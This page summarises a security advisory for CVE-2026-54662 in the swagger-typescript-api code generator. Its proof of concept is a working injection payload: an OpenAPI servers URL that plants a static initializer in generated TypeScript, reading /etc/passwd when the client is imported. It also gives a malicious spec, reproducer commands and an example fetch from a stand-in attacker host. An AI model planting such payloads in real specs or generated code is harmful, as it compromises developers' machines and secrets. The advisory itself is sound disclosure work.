# swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template

Unescaped servers[0].url in swagger-typescript-api's fetch template lets a malicious OpenAPI spec inject a static class field that executes on bare import of the generated client.

- Payout: Research
- Severity: high
- Program: swagger-typescript-api
- Found by: thegr1ffyn
- Disclosed: 2026-07-29
- CVE: CVE-2026-54662
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hqj5-cw9f-rx67
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hqj5-cw9f-rx67
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:rest technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** npm code generator (Eta template) producing fetch HttpClient TypeScript
**Root cause:** createApiConfig passes swaggerSchema.servers[0].url raw into apiConfig.baseUrl, and fetch-http-client.ejs interpolates it with Eta's unescaped `<%~ %>` into a TS string literal initializing a class-body field; a `"` closes the literal and exposes the class body.
**Steps:**
1. Craft OpenAPI spec with servers[0].url = `https://api.example.com"; static _pwn = (async () => { ... })(); public x: string = "`
2. Run `generateApi({ input: 'payload-spec.json', httpClientType: 'fetch' })` with swagger-typescript-api@13.12.1
3. Generated HttpClient class body contains `static _pwn = (async () => {...})();` as a valid static field initializer
4. Bundle with esbuild and `await import('./out/Api.bundle.mjs')` — no instantiation needed
5. Static initializer runs at class definition/module load, writing /etc/passwd to /tmp/sta_canary
**How found:** Source review of the fetch template: noticed `<%~ apiConfig.baseUrl %>` is Eta's raw unescaped interpolation and that the only escape helper (escapeJSDocContent) is not applied on this path; realized a `"` in the URL escapes the string literal into the surrounding class body, and that TS static field initializers run at class definition time.
**Exploitation:** Attacker hosts or contributes a malicious OpenAPI spec; victim runs the generator (e.g. `sta generate --url https://attacker.example/openapi.json`) and imports the generated client. The injected static field IIFE executes at module load with the importing process's privileges, enabling file read/write, secret exfiltration, or child process spawn.
**Escalation:** Same apiConfig.baseUrl sink also affects the axios template (axios-http-client.ejs:71), so both http-client types are exploitable; any transitive importer of the generated module triggers execution.
**Insight:** When auditing code generators, treat any spec-controlled value interpolated into a class body (not just a string literal) as a code-injection sink — TS static field initializers and static blocks execute at module load, so a bare import is enough; check whether the template engine's raw/unescaped tag is used.

## Proof of concept (copied exactly from the original report)

**Malicious servers[0].url payload string**

```
https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "
```

**Minimal payload OpenAPI spec JSON**

```
{
  "openapi": "3.0.0",
  "info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
```

**Reproducer commands generating and importing payload**

```
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
```

